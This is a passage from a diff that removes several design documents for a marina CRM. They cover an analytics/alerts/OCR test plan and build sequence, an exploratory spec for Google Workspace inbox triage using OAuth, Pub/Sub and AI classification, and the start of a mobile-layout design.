[ Pagination · Export CSV button (admin-gated) ]
|
||||
```
|
||||
|
||||
Server-side: `audit-search.service.ts` builds a drizzle query with the tsvector match + filters; supports cursor pagination on `(created_at, id)`.
|
||||
|
||||
Super-admin sees a port toggle that switches between current port and "All ports" view.
|
||||
|
||||
## Test plan
|
||||
|
||||
### Unit (`tests/unit/`)
|
||||
|
||||
- `alert-rules-evaluators.test.ts` — each rule tested with seeded data; covers fire/no-fire cases and resolution conditions
|
||||
- `expense-dedup-heuristic.test.ts` — vendor/amount/date matching with edge cases (case-insensitive, ±3d window, currency mismatch ignored)
|
||||
- `analytics-pipeline-funnel.test.ts` — funnel math against fixture interests
|
||||
- `analytics-occupancy-timeline.test.ts` — daily aggregation against fixture berth status changes
|
||||
- `audit-search-filters.test.ts` — tsvector + filter composition
|
||||
- `ocr-prompt-caching.test.ts` — assert cache_control presence on system prompt; mocked Claude response
|
||||
|
||||
### Integration (`tests/integration/`)
|
||||
|
||||
- `alerts-engine.test.ts` — full evaluation cycle: seed conditions, run engine, assert correct alerts upserted, run again to assert dedupe via fingerprint, mutate state, assert auto-resolve
|
||||
- `analytics-snapshot-refresh.test.ts` — recurring job: snapshot row written, served from cache on next read, refreshed on next tick
|
||||
- `expense-dedup-flow.test.ts` — create A, create matching B, assert B.duplicate_of=A; merge B → A absorbs line items, B archived
|
||||
- `audit-search-tsvector.test.ts` — seed audit_logs, query by free-text, assert returned ids
|
||||
- `eoi-queue-listing.test.ts` — extends documents-hub test; assert EOI tab returns correct subset
|
||||
|
||||
### E2E smoke (`tests/e2e/smoke/`)
|
||||
|
||||
- New `27-analytics-dashboard.spec.ts` — dashboard renders charts; date-range picker re-renders; KPI tiles show non-zero data after seed
|
||||
- New `28-alerts.spec.ts` — alert appears after seeding stale-interest condition; click-to-deep-link; dismiss persists; resolve hides
|
||||
- New `29-interests-by-berth.spec.ts` — tab visible on berth detail; lists interests; sort works
|
||||
- New `30-expense-dedup.spec.ts` — create two matching expenses; banner appears; merge button works
|
||||
- New `31-ocr-flow.spec.ts` — uploads fixture receipt image; extracted fields pre-filled; user can edit and save
|
||||
- New `32-audit-log.spec.ts` — admin page loads; search by entity id returns expected row; date filter narrows
|
||||
- Extend `04-documents.spec.ts` — EOI queue tab presence + count badge
|
||||
|
||||
### E2E exhaustive (`tests/e2e/exhaustive/`)
|
||||
|
||||
- `15-analytics-dashboard.spec.ts` — crawl every chart's hover tooltips, legend toggles, export menu
|
||||
- `16-alerts.spec.ts` — crawl alert card actions, severity filters, dismissed history, real-time arrival via socket emit
|
||||
- `17-audit-log.spec.ts` — crawl filter combos, expand row diffs, super-admin all-ports toggle
|
||||
|
||||
### E2E real-API (`tests/e2e/realapi/`)
|
||||
|
||||
- New `claude-vision-receipt-ocr.spec.ts` — gates on `ANTHROPIC_API_KEY`; uploads two real fixture receipts (one clean, one blurry); asserts Haiku response shape and confidence score; verifies `cache_control` headers in HTTP trace; cleanup deletes test expense
|
||||
|
||||
### Test data fixtures
|
||||
|
||||
`global-setup.ts` extends:
|
||||
|
||||
- Seed one stale interest in `details_sent` stage with `last_activity_at = now - 20d` (fires `interest.stale`)
|
||||
- Seed one active reservation without an agreement (fires `reservation.no_agreement`)
|
||||
- Seed two matching expenses (fires `expense.duplicate`)
|
||||
- Seed 90 days of pipeline activity for analytics charts
|
||||
- Add a `tests/e2e/fixtures/receipts/` dir with two .jpg receipts for OCR tests
|
||||
|
||||
## Build sequence
|
||||
|
||||
| # | Title | Effort | Depends on |
|
||||
| --- | ------------------------------------------------------------ | ------ | ----------------- |
|
||||
| 1 | Schema + alert/analytics service skeletons | 1d | — |
|
||||
| 2 | Alert rules engine + recurring evaluator + socket | 1.5d | 1 |
|
||||
| 3 | Analytics snapshot job + service layer | 1d | 1 |
|
||||
| 4 | Analytics dashboard page (KPI tiles + 4 charts + date-range) | 2.5d | 1, 3, A's KPITile |
|
||||
| 5 | Alert rail UI + `/alerts` page | 1.5d | 2 |
|
||||
| 6 | EOI queue tab on documents hub | 0.5d | A's hub |
|
||||
| 7 | Interests-by-berth tab on berth detail | 0.5d | — |
|
||||
| 8 | Expense duplicate detection (job + UI banner + merge) | 1.5d | 1 |
|
||||
| 9 | OCR for expense receipts (Claude Vision + 3-step UI) | 1.5d | — |
|
||||
| 10 | Audit log read view (admin page + filters + tsvector search) | 1.5d | 1 |
|
||||
| 11 | Real-API integration tests | 1d | 9 |
|
||||
|
||||
### Critical path
|
||||
|
||||
```
|
||||
1 → 2 → 5 (data → alert engine → alert UI)
|
||||
1 → 3 → 4 (data → analytics service → analytics page)
|
||||
8 → 2 (alert rule) (dedup populates the data the alert reads)
|
||||
9 (OCR) → 11 (realapi)
|
||||
```
|
||||
|
||||
Wall-clock minimum ~10 days (one engineer, sequential critical path); realistic with overhead ~13 days; calendar 2.5–3 weeks.
|
||||
|
||||
### Acceptance gates per PR
|
||||
|
||||
- `pnpm tsc --noEmit` and `pnpm lint` clean
|
||||
- Vitest unit + integration green (incl. new tests)
|
||||
- Playwright smoke green for the surface touched
|
||||
- Visual baselines regenerated and reviewed in PR diff
|
||||
- For PRs touching external integrations (9 OCR, 11 realapi): relevant `realapi` spec verified locally before merge
|
||||
|
||||
### Risk register
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Alert engine false positives spam users | Each rule has a "snooze" window in metadata; rules ship behind a feature flag `alerts.{rule_id}.enabled`; QA seeds production-shape data before flipping flags on |
|
||||
| Analytics queries slow on large datasets | `analytics_snapshots` materialized cache; cron recomputes off the request path; queries use existing per-port indexes |
|
||||
| Claude Vision OCR cost spirals | Default to Haiku 4.5 (~10× cheaper than Sonnet); ephemeral system-prompt cache hits ~80%; per-port quota with admin-visible meter |
|
||||
| OCR low-quality on blurry receipts | Confidence threshold (< 0.6) flips to "verify mode" — user must touch every field before save; failure metric tracked in admin/monitoring |
|
||||
| Audit log table large (millions of rows) | Already partitioned-friendly via the GIN tsvector index; pagination uses cursor on `(created_at, id)` not OFFSET |
|
||||
| Alert socket fanout overwhelms client | Throttle the engine cron to once per 5min; client debounces React Query refetches |
|
||||
| Interest stale rule fires for legitimately paused leads | Add a per-interest `paused_until` field as a follow-up if operators ask; v1 ships without |
|
||||
|
||||
## Glossary
|
||||
|
||||
- **Alert** — operator-facing actionable card, rule-fired, dismissible
|
||||
- **Rule** — a pure-function evaluator that takes (port, db) and returns alert candidates
|
||||
- **Fingerprint** — `hash(rule_id + entity_type + entity_id)` used to dedupe alerts across re-evaluations
|
||||
- **Snapshot** — cached chart data row in `analytics_snapshots`, refreshed on cron
|
||||
- **EOI queue** — saved-view filter on the documents hub, not a separate page
|
||||
- **OCR** — Claude Vision extraction of structured expense fields from receipt images
|
||||
- **Audit log** — read view of the existing `audit_logs` table; no schema change beyond a tsvector column
|
||||
|
||||
## Open questions for the user
|
||||
|
||||
- Which port should be the **default landing dashboard** when a super-admin logs in (currently first-port-by-name; analytics page works the same)?
|
||||
- Should the alert rail be **always visible on all dashboard pages** or only on `/dashboard` (currently spec'd as the latter)?
|
||||
- Do you want the **Audit log retention policy** (delete > N days old) wired in v1 or deferred to Phase D?
|
||||
- Should **OCR be opt-in per port** (admin toggle) or always-on with a quota?
|
||||
@@ -1,376 +0,0 @@
|
||||
# Google Workspace inbox-triage integration (exploratory)
|
||||
|
||||
**Status:** Exploratory — not approved for build
|
||||
**Date:** 2026-04-29
|
||||
**Tracks:** AI inbox-triage, Google Workspace email connection
|
||||
|
||||
## What this spec is for
|
||||
|
||||
The user has flagged inbox-triage as the most valuable AI surface left to
|
||||
build, but conditioned email integration on it being via Google Workspace
|
||||
specifically (not generic IMAP), with a per-port toggle so clients who
|
||||
don't use GWS aren't billed for capability they can't reach.
|
||||
|
||||
This document captures what that build actually costs — especially on
|
||||
the Google side, which is where most teams underestimate the work — so
|
||||
we can decide whether to commit before writing any code. **Nothing in
|
||||
this spec is approved for implementation.** The deliverable is a go /
|
||||
no-go decision and, if go, a scope choice between three deployment
|
||||
models that cost wildly different amounts of calendar time.
|
||||
|
||||
## What inbox-triage actually does for the user
|
||||
|
||||
Concretely, on the staff member's desktop:
|
||||
|
||||
1. **Linked-inbox panel on the client detail page.** When you open
|
||||
`/[port]/clients/<id>` you see the last N email threads with that
|
||||
client, pulled from the staff member's own Gmail. Each thread has
|
||||
the latest message preview, an "open in Gmail" deep-link, and a
|
||||
"draft reply" button (Phase 2+).
|
||||
2. **Inbox triage queue.** A new top-level page `/[port]/inbox` that
|
||||
lists unread/unanswered threads ranked by AI-assessed importance
|
||||
(high-value client, contractual urgency, chase-overdue). Each row
|
||||
has one-click actions: "log this as a note on the client",
|
||||
"create a follow-up reminder", "draft reply".
|
||||
3. **Email-driven alerts.** When a high-value client emails and no one
|
||||
responds within X hours, the existing alerts engine fires a
|
||||
`inbox.unanswered_high_value` rule (slots into the alert framework
|
||||
from Phase B without schema change).
|
||||
4. **Reply drafts (Phase 3).** AI generates a reply draft grounded in
|
||||
the client's CRM record (open interests, pending reservations,
|
||||
recent invoices). Staff edit and send through Gmail.
|
||||
|
||||
The value is selective: a port with three staff members fielding 50
|
||||
client emails a day saves maybe an hour a day collectively if the
|
||||
ranking is right. Below that volume the build doesn't pay back.
|
||||
|
||||
## What already exists in the codebase
|
||||
|
||||
The CRM is roughly halfway scaffolded for this:
|
||||
|
||||
| Surface | Status | Notes |
|
||||
| ----------------------------------------------- | ----------------------- | ------------------------------------------------------------------------------------------------------------------------ |
|
||||
| `email_accounts` table | ✅ Exists | Has `provider: 'google' \| 'outlook' \| 'custom'` discriminator and `imap_*` / `smtp_*` cols. Built for IMAP, not OAuth. |
|
||||
| `email_threads` / `email_messages` tables | ✅ Exists | Already linked to `clientId`. Schema is good as-is for Gmail. |
|
||||
| `email-threads.service.ts` `syncInbox()` | ⚠ Stub-ish | IMAP-flow only. Won't reach Gmail without OAuth + Gmail API rewrite. |
|
||||
| `email` BullMQ queue + `inbox-sync` job name | ✅ Exists | Worker dispatches on the job name; new sync impl drops in. |
|
||||
| `google_calendar_tokens` table | ✅ Exists | OAuth token storage shape we can mirror for Gmail. |
|
||||
| Per-port email override (port `email_settings`) | ✅ Exists | Used for outbound only today; Gmail integration is per-staff-user, not per-port. |
|
||||
| `ai_usage_ledger` + per-port `aiEnabled` flag | ✅ Exists (Phase 3a/3b) | Triage AI calls book against the same ledger. |
|
||||
| `withRateLimit('ai', ...)` wrapper | ✅ Exists (Phase 3c) | Caps triage AI traffic at 60/min/user out of the box. |
|
||||
|
||||
Net: schemas are mostly right. The OAuth flow, Gmail API client, push
|
||||
notification receiver, and triage classifier are the new builds.
|
||||
|
||||
## Why Google Workspace specifically
|
||||
|
||||
The user's stated constraint: "I don't think we need email integration
|
||||
unless we connect it to Google Workspace." Reasons that hold up:
|
||||
|
||||
- **No password storage.** OAuth tokens are revocable, scoped, and
|
||||
rotate. IMAP requires app passwords, which Google has been actively
|
||||
deprecating since 2024 — they'll be gone for the workspace plans
|
||||
this product targets.
|
||||
- **Push notifications, not polling.** Gmail's `users.watch` API plus
|
||||
Google Pub/Sub means we get an HTTP callback within seconds of a new
|
||||
message landing. IMAP requires polling on a 30-60 second cadence,
|
||||
which costs more and lags worse.
|
||||
- **Search and labels.** The Gmail API exposes label management and
|
||||
full-text search natively; IMAP search is much weaker.
|
||||
- **Threading.** Gmail's `threadId` is canonical. Reconstructing
|
||||
threads over IMAP from `In-Reply-To` / `References` headers is
|
||||
reliable in theory, painful in practice.
|
||||
|
||||
Microsoft 365 is the obvious peer integration but is out of scope here.
|
||||
The Graph API model is similar enough that a future M365 path can reuse
|
||||
most of the storage shape.
|
||||
|
||||
## Three deployment models — pick one before building
|
||||
|
||||
This is the most important decision in the spec. Each model has
|
||||
different OAuth-verification consequences, which dominate everything
|
||||
else.
|
||||
|
||||
### Model A — Marketplace-published OAuth app
|
||||
|
||||
A single OAuth client owned by Port Nimara, listed in the Google
|
||||
Workspace Marketplace, that any GWS customer can install. Each staff
|
||||
member clicks "Connect Gmail," consents to the scopes, and the CRM
|
||||
stores their refresh token.
|
||||
|
||||
**Google-side work:**
|
||||
|
||||
1. Build the OAuth flow in CRM (~1 week).
|
||||
2. Submit for OAuth verification. Gmail's `gmail.readonly` /
|
||||
`gmail.modify` scopes are **restricted scopes** — they require:
|
||||
- Domain-verified production URLs
|
||||
- A homepage with a privacy policy that explicitly enumerates which
|
||||
scopes are used and why
|
||||
- A demo video (literally a screen recording) showing the consent
|
||||
screen and what happens next
|
||||
- **A third-party security assessment from a Google-approved
|
||||
vendor** ($15k–$75k, 6–12 weeks)
|
||||
- A Cloud Application Security Assessment (CASA) report
|
||||
3. Marketplace listing review (~2 weeks after CASA passes).
|
||||
|
||||
**Calendar time:** 4–6 months.
|
||||
**Money:** $15k–$75k for the security assessment alone.
|
||||
**Recurring:** Re-verification every 12 months.
|
||||
|
||||
Right answer if Port Nimara wants to be the marina-CRM that ships GWS
|
||||
out of the box for _any_ customer. Wrong answer if there are <5
|
||||
customers who'd use it.
|
||||
|
||||
### Model B — Per-customer "Internal" OAuth app
|
||||
|
||||
Each customer's GWS admin creates an OAuth client _inside their own
|
||||
workspace_ and gives Port Nimara the client ID + secret. Because the
|
||||
app is "Internal," Google skips verification entirely — the consent
|
||||
screen is unverified-but-permitted. Tokens never cross workspace
|
||||
boundaries.
|
||||
|
||||
**Google-side work per customer:**
|
||||
|
||||
1. Customer's GWS admin enables the Gmail API in their Cloud project.
|
||||
2. Creates an OAuth 2.0 client ID with type "Internal" + your CRM's
|
||||
redirect URI.
|
||||
3. Hands the client ID + secret to Port Nimara out-of-band.
|
||||
4. Staff connect their Gmail through that client.
|
||||
|
||||
**Calendar time per customer:** ~1 hour of admin work.
|
||||
**Money:** $0.
|
||||
**Limit:** Doesn't span across GWS workspaces. A user with two GWS
|
||||
accounts (e.g. the marina + a personal workspace) can only connect the
|
||||
one matching the OAuth client.
|
||||
|
||||
This is the **clear winner for the current customer base**: small
|
||||
number of customers, each with their own GWS workspace, and each
|
||||
buying the integration as part of an onboarding conversation.
|
||||
|
||||
### Model C — Forward-to-CRM mailbox
|
||||
|
||||
The CRM exposes a per-port email alias (e.g.
|
||||
`port-nimara-NN@inbox.portnimara.com`). Customers configure a Gmail
|
||||
filter or mailing rule that BCCs that alias on relevant threads. The
|
||||
CRM ingests via SMTP and runs the same triage pipeline.
|
||||
|
||||
**Google-side work:** None. Customer does it as a Gmail filter.
|
||||
**Calendar time:** ~1 week of CRM-side build.
|
||||
**Limit:** Receive-only — no reply drafts, no thread state changes,
|
||||
no labels. The "draft reply" feature in Phase 3 above is impossible
|
||||
under this model.
|
||||
|
||||
Model C is the right answer if the user wants to ship inbox-triage
|
||||
_now_ and decide on bidirectional Gmail integration later. The schema
|
||||
is designed so the model can be upgraded to A or B without data
|
||||
migration.
|
||||
|
||||
### Recommendation
|
||||
|
||||
**Build Model B first.** It costs nothing on the Google side, takes
|
||||
~3 weeks of CRM work, and matches the actual customer profile.
|
||||
**Promote to Model A only after 3+ paying customers ask for it
|
||||
unprompted.** Until then, the security-assessment cost can't justify
|
||||
itself.
|
||||
|
||||
Model C as a fallback for customers who refuse to set up an Internal
|
||||
OAuth app. Build it last, lazily — the schema accommodates it.
|
||||
|
||||
## End-to-end flow (Model B)
|
||||
|
||||
### 1. Per-port OAuth-app config
|
||||
|
||||
New admin page `/[port]/admin/google-workspace`:
|
||||
|
||||
- Field: "OAuth client ID" (their internal client ID)
|
||||
- Field: "OAuth client secret" (encrypted at rest using `ENCRYPTION_KEY`)
|
||||
- Field: "Authorized redirect URI" (read-only; we display the value
|
||||
they need to paste into their Google Cloud Console)
|
||||
- Toggle: "Enable Gmail integration for this port"
|
||||
|
||||
Stored in `system_settings` under key `gws.config`, port-scoped.
|
||||
Resolution mirrors the existing OCR config service.
|
||||
|
||||
### 2. Per-staff connect flow
|
||||
|
||||
Staff member visits `/[port]/me/integrations`, clicks "Connect Gmail."
|
||||
|
||||
```
|
||||
GET /api/v1/auth/gws/start
|
||||
→ looks up port's gws.config
|
||||
→ builds Google authorize URL with port's client_id + state token
|
||||
→ 302 to Google
|
||||
[ user consents ]
|
||||
→ 302 back to /api/v1/auth/gws/callback?code=…&state=…
|
||||
→ exchanges code for tokens via port's client_secret
|
||||
→ stores in new `gws_user_tokens` table (encrypted)
|
||||
→ schedules an `inbox-watch` job
|
||||
```
|
||||
|
||||
### 3. Push notification subscription
|
||||
|
||||
After tokens are stored, the worker calls
|
||||
`gmail.users.watch({ topicName: <Pub/Sub topic>, labelIds: ['INBOX'] })`.
|
||||
Gmail then posts to a Pub/Sub topic on every inbox change. The CRM
|
||||
exposes a Pub/Sub push subscription endpoint at
|
||||
`/api/webhooks/gmail-push` which fetches the changed messages via the
|
||||
delta `historyId` and writes them into `email_messages`.
|
||||
|
||||
Watch subscriptions expire every 7 days. A maintenance job
|
||||
re-establishes them daily.
|
||||
|
||||
### 4. Triage pipeline
|
||||
|
||||
For each new inbound message:
|
||||
|
||||
1. Match against `clients` and `companies` by `from_address` against
|
||||
`client_contacts` (email channel). Persist a thread→client link if
|
||||
found.
|
||||
2. If port has `aiEnabled` AND `gws.triageEnabled`, queue an `ai`
|
||||
job that classifies the thread:
|
||||
- `urgency`: low / medium / high
|
||||
- `category`: invoice-question / availability / contract / other
|
||||
- `requires_response`: boolean
|
||||
3. AI call records into `ai_usage_ledger` with `feature='inbox_triage'`.
|
||||
The existing per-port budget gates apply automatically.
|
||||
4. Triage output written to a new `email_triage` table keyed on
|
||||
`email_messages.id`.
|
||||
|
||||
### 5. UI surfaces
|
||||
|
||||
- `/[port]/inbox` — sorted by triage rank, port-wide view.
|
||||
- Linked-inbox panel on `client-tabs.tsx` — adds a new "Email" tab
|
||||
pulling from `email_threads` filtered to that client.
|
||||
- Alert rule `inbox.unanswered_high_value` slots into Phase B's
|
||||
alert engine; no schema change.
|
||||
|
||||
## Schema additions
|
||||
|
||||
Three new tables, all port-scoped where it matters:
|
||||
|
||||
```ts
|
||||
// Per-staff Gmail tokens. Mirror of google_calendar_tokens.
|
||||
gws_user_tokens {
|
||||
id, userId (UNIQUE), portId, emailAddress,
|
||||
accessTokenEnc, refreshTokenEnc, tokenExpiry,
|
||||
scope, watchExpiresAt, watchHistoryId,
|
||||
connectedAt, lastSyncAt, syncEnabled, createdAt, updatedAt
|
||||
}
|
||||
|
||||
// Triage classifications keyed to messages.
|
||||
email_triage {
|
||||
messageId (PK, FK → email_messages.id ON DELETE CASCADE),
|
||||
urgency, category, requiresResponse,
|
||||
modelVersion, tokensUsed, classifiedAt
|
||||
}
|
||||
|
||||
// Pub/Sub idempotency log. Gmail re-delivers; we dedupe.
|
||||
gws_push_log {
|
||||
messageId (Pub/Sub message id, PK),
|
||||
historyId, receivedAt
|
||||
}
|
||||
```
|
||||
|
||||
Plus extensions to `email_messages`:
|
||||
|
||||
- `googleMessageId` (text, indexed) — Gmail's own ID for thread ops.
|
||||
- `googleThreadId` (text, indexed).
|
||||
- `gmailLabels` (text[]) — for "is unread" checks without hitting Gmail.
|
||||
|
||||
The existing `emailAccounts.provider='google'` column repurposes
|
||||
unchanged; the IMAP fields go nullable since OAuth-flow accounts won't
|
||||
populate them.
|
||||
|
||||
## AI cost interaction
|
||||
|
||||
Triage AI is opt-in **twice**: the port admin must turn on
|
||||
`aiEnabled` (Phase 3a flag, default off) **and** `gws.triageEnabled`
|
||||
(this spec, default off). Either toggle off and the inbox sync still
|
||||
runs but skips classification, so staff can manually scan threads
|
||||
without burning tokens.
|
||||
|
||||
Per-message token cost on a current Haiku-class model is roughly
|
||||
1500–2500 tokens including the system prompt. A port doing 200 inbound
|
||||
emails a day at the upper bound is ~500k tokens/day. The default
|
||||
hard-cap is 500k/month, so triage will trip it inside a day. Two
|
||||
mitigations baked in:
|
||||
|
||||
- The system prompt is short (<500 tokens) and prompt-cached on the
|
||||
Anthropic side, so most tokens are output.
|
||||
- Triage runs only on threads not already classified — re-syncs from
|
||||
the watch loop don't re-bill.
|
||||
|
||||
The admin UI shows triage as its own line in the per-feature breakdown
|
||||
so customers can see how much their inbox is costing them and tune
|
||||
caps accordingly.
|
||||
|
||||
## Phased build (assuming Model B)
|
||||
|
||||
| Phase | Scope | Effort | Ships when |
|
||||
| ---------------------------- | ------------------------------------------------------------------------------------------------------- | ------ | ----------------------------------------------------------- |
|
||||
| **G1** Connect | OAuth flow + per-port config + per-user token storage. No sync yet. Staff can connect; nothing happens. | 1 week | Standalone |
|
||||
| **G2** Read-only sync | Pub/Sub push receiver + delta sync into `email_messages`. Linked-inbox tab on client detail. No AI. | 1 week | After G1 |
|
||||
| **G3** Triage classification | AI classifier, `email_triage` writes, `/inbox` page sorting. Per-port toggle. | 1 week | After G2; depends on Phase 3b budgets being live (they are) |
|
||||
| **G4** Reply drafts | Gmail API send + draft creation. "Draft reply" button on the client detail Email tab. | 1 week | After G3 |
|
||||
| **G5** Alerts | New `inbox.unanswered_high_value` rule. Hooks into Phase B alert engine. | 2 days | After G3 |
|
||||
|
||||
Total: ~5 weeks for a single engineer, assuming the user provides one
|
||||
real GWS workspace to test against during G1.
|
||||
|
||||
## Open decisions for the user
|
||||
|
||||
These are the questions to resolve before scheduling the build, in
|
||||
priority order:
|
||||
|
||||
1. **Deployment model — A, B, or C?** Default recommendation B.
|
||||
2. **Single user or domain-wide delegation?** Per-staff connect (one
|
||||
token per user) is simpler. Domain-wide delegation lets the port
|
||||
admin connect once on behalf of every staff member but requires
|
||||
the customer to grant a service account broader access. Default
|
||||
recommendation: per-staff.
|
||||
3. **Scope set.** Minimal viable scope is `gmail.readonly`. To send
|
||||
replies (G4) we need `gmail.send`. To manage labels (e.g. mark
|
||||
"triaged-by-CRM") we need `gmail.modify`. Each scope expansion
|
||||
widens the consent screen scariness but doesn't add new
|
||||
verification steps under Model B.
|
||||
4. **Pub/Sub topic ownership.** Pub/Sub topics live in _some_ GCP
|
||||
project. Under Model B the customer's project owns the topic —
|
||||
they pay for Pub/Sub (cents/month) and grant our service account
|
||||
subscriber access. Alternative: Port Nimara owns the topic and
|
||||
the customer's Gmail publishes cross-project (allowed, slightly
|
||||
more setup). Default: customer-owned topic, fewer moving parts.
|
||||
5. **Triage model.** Haiku 4.5 is right for cost; Sonnet 4.6 is
|
||||
right if the ranking quality on Haiku turns out to be poor.
|
||||
Defer this until G3 has real-world tuning data.
|
||||
|
||||
## Things that are NOT in this spec
|
||||
|
||||
- **Microsoft 365 / Outlook integration.** Same shape, different API.
|
||||
Once Model B is proven on GWS, Graph API takes another ~3 weeks.
|
||||
- **Reply drafts grounded in CRM context.** That's G4 and depends on
|
||||
the work in this spec, but the prompt engineering for "good replies
|
||||
citing this client's open interests + reservations + invoices"
|
||||
deserves its own design pass before building.
|
||||
- **Cross-staff triage queue (i.e. "show me all unanswered emails
|
||||
across the team").** That requires either domain-wide delegation
|
||||
(decision #2 above) or per-staff opt-in to a shared view. Punt
|
||||
until staff actually ask for it.
|
||||
- **Sentiment / urgency tone analysis.** Tempting; almost always
|
||||
wrong; skip in v1.
|
||||
- **"Smart drafts" using the recipient's past replies as context.**
|
||||
Every customer asks for this and almost no one uses it once
|
||||
built. Skip.
|
||||
|
||||
## Cost summary at a glance
|
||||
|
||||
| Item | Model A | Model B | Model C |
|
||||
| ------------------------------- | ------------------------------- | -------------------------------------- | ------------------------------------ |
|
||||
| Build effort | 3–4 weeks | ~5 weeks (over G1–G5) | ~1 week (receive-only) |
|
||||
| Calendar time to first customer | 4–6 months | 1 hour of customer admin work | 1 hour of customer Gmail-filter work |
|
||||
| Up-front cash | $15k–$75k (CASA) | $0 | $0 |
|
||||
| Recurring | Re-verification annually | None | None |
|
||||
| Best for | 50+ customers, Marketplace play | 1–10 customers, white-glove onboarding | Customers who refuse OAuth setup |
|
||||
|
||||
The recommendation stands: build Model B for G1 + G2 + G3, ship that,
|
||||
and let real customer demand decide whether G4/G5 and Model A
|
||||
promotion are worth the calendar time.
|
||||
@@ -1,189 +0,0 @@
|
||||
# Mobile Optimization Design
|
||||
|
||||
**Status**: Design approved 2026-04-29 — pending plan.
|
||||
**Plan decomposition**: Foundation PR (§3) is one implementation plan; per-page migration phases (§5) become follow-up plans, scoped per phase.
|
||||
**Branch base**: stacks on `refactor/data-model`.
|
||||
**Out of scope**: Phase B/C features, desktop redesign, Capacitor wrapper, swipe-actions on rows, native menus, server-driven UI.
|
||||
|
||||
---
|
||||
|
||||
## 1. Background
|
||||
|
||||
The CRM was built desktop-first. A 2026-04-29 mobile audit captured every authenticated and public page across the active iPhone viewport range. Findings:
|
||||
|
||||
1. **No `viewport` meta in the root layout** (one exists only in the scanner PWA sub-layout, `src/app/(scanner)/[portSlug]/scan/layout.tsx`). Without it, iOS Safari renders pages at the default 980px logical width and zooms out to fit — text becomes unreadable and touch targets sub-tappable. Playwright's `isMobile` emulation in the audit forces 393px-wide rendering, which exposes the layout breakage you'd otherwise have to discover by pinching to zoom.
|
||||
2. **Topbar overflows**. Search input + port switcher + sign-out button cram into one row; sign-out clips off the right edge as a half-visible blue bar on every authenticated page.
|
||||
3. **Tables render as desktop tables**. Every list page (clients, yachts, companies, invoices, expenses, interests, audit, users, etc.) shows truncated columns with horizontal scroll.
|
||||
4. **Page headers don't downsize**. Titles like "Dashboard" truncate to "Dash..."; primary action buttons (`+ New Client`) overlap their subtitles.
|
||||
5. **Detail page action chips overflow**. The chip row ("Invite to portal | GDPR export | Archive | …") horizontally overflows on every detail page.
|
||||
6. **One half-good pattern**: detail pages already collapse their tabs to a `<select>` dropdown on small screens. Worth extending.
|
||||
7. **Auth + scanner pages are already mobile-first** (`/login`, `/[portSlug]/scan`). Reference for the "what good looks like" target.
|
||||
|
||||
The audit harness (`tests/e2e/audit/mobile.spec.ts` + `mobile-audit` Playwright project) is added on this branch (not yet committed); re-runs regenerate `.audit/mobile/` (gitignored).
|
||||
|
||||
## 2. Approach
|
||||
|
||||
**Adaptive shell + responsive content** — chosen over (a) per-page conditional render, (b) a separate `(mobile)` route group, and (c) Tailwind-only responsive.
|
||||
|
||||
The "native feel" the user wants comes from the chrome — bottom tab bar, sheet modals, sticky compact header, safe-area awareness. Page content (forms, lists, details) doesn't need duplication; it gets responsive via shared mobile-aware primitives. This concentrates the dedicated-mobile work in ~10 components and keeps content single-source.
|
||||
|
||||
**Breakpoint**: Tailwind `lg` (1024px). Below `lg`, the mobile shell renders. At and above, the existing desktop shell is untouched.
|
||||
|
||||
### 2.1 Target iPhone viewport range
|
||||
|
||||
The mobile shell + content primitives must look correct across the full active iPhone viewport range (portrait):
|
||||
|
||||
| Tier | Models | Viewport |
|
||||
| ------------------------------------------ | ----------------------------------------------- | -------- |
|
||||
| Narrowest | iPhone SE 2nd / 3rd gen | 375×667 |
|
||||
| Standard | iPhone 12/13/14 (and Mini) | 390×844 |
|
||||
| Standard newer | iPhone 15 / 15 Pro / 16 | 393×852 |
|
||||
| Pro newer (Dynamic Island, thinner bezels) | iPhone 16 Pro / 17 Pro | 402×874 |
|
||||
| Plus / older Max | iPhone 14 Plus / 15 Plus / 15 Pro Max / 16 Plus | 430×932 |
|
||||
| Pro Max | iPhone 16 Pro Max / 17 Pro Max | 440×956 |
|
||||
|
||||
**Anchors used by audit and design validation**: 375×667 (worst-case narrow + short), 393×852 (most common current), 402×874 (current Pro), 440×956 (current Pro Max). Models within ±5px of an anchor (390, 430) are skipped — primitives that look correct at the anchors will look correct at neighbors.
|
||||
|
||||
**Dynamic Island**: iPhone 14 Pro and later have a larger top safe-area inset (~59px vs ~47px on classic-notch models). The CSS `env(safe-area-inset-top)` we expose as `pt-safe` handles this transparently — no per-model code paths.
|
||||
|
||||
**Landscape**: out of scope for this design. Phones in landscape are rare for CRM-style work; if needed later, the mobile shell at landscape widths would still fall under `lg` and would just stretch. Tablet landscape is addressed in the §5 tablet-pass phase.
|
||||
|
||||
**Routing**: no new route group. URLs and middleware unchanged. RBAC, services, queries, validators, RHF/zod forms, TanStack Query stores, socket.io — all unchanged.
|
||||
|
||||
## 3. Foundation PR
|
||||
|
||||
A single branch lands the infra + shell + primitives before any per-page work. After this merges, every authenticated page already gains: real viewport meta, no clipped topbar, bottom tab navigation, safe-area handling, and 44px touch targets — without any per-page edits.
|
||||
|
||||
### 3.1 Infrastructure
|
||||
|
||||
- `viewport` export in `src/app/layout.tsx` — `width=device-width, initial-scale=1, viewport-fit=cover`.
|
||||
- `theme-color` meta + `apple-mobile-web-app-capable` meta + `apple-mobile-web-app-status-bar-style` for PWA-ish status-bar integration.
|
||||
- Safe-area CSS variables (`env(safe-area-inset-*)`) exposed as Tailwind utilities (`pt-safe`, `pb-safe`, `pl-safe`, `pr-safe`).
|
||||
- `useIsMobile()` hook in `src/hooks/use-is-mobile.ts` — backed by `window.matchMedia('(max-width: 1023.98px)')`, no resize listener.
|
||||
- Server-side body-class detection: the root layout (`src/app/layout.tsx`) reads the `user-agent` request header via `next/headers`'s `headers()`, runs a small known-mobile-token check (Mobile / iPhone / iPad / Android — no library), and renders `<body data-form-factor="mobile|desktop">`. No middleware needed. CSS `[data-form-factor="mobile"]` reveals the mobile shell. The CSS media-query fallback (`@media (max-width: 1023.98px)`) handles UA misclassification (e.g., desktop browser resized to narrow width, or stripped UA).
|
||||
|
||||
### 3.2 Mobile shell
|
||||
|
||||
Both desktop and mobile shells are rendered to the DOM by the root layout; CSS reveals one and hides the other based on `[data-form-factor="mobile"]` plus a `@media (max-width: 1023.98px)` fallback. The existing `<Sidebar>` and `<Topbar>` components stay unchanged for the desktop shell. The mobile shell is wholly new:
|
||||
|
||||
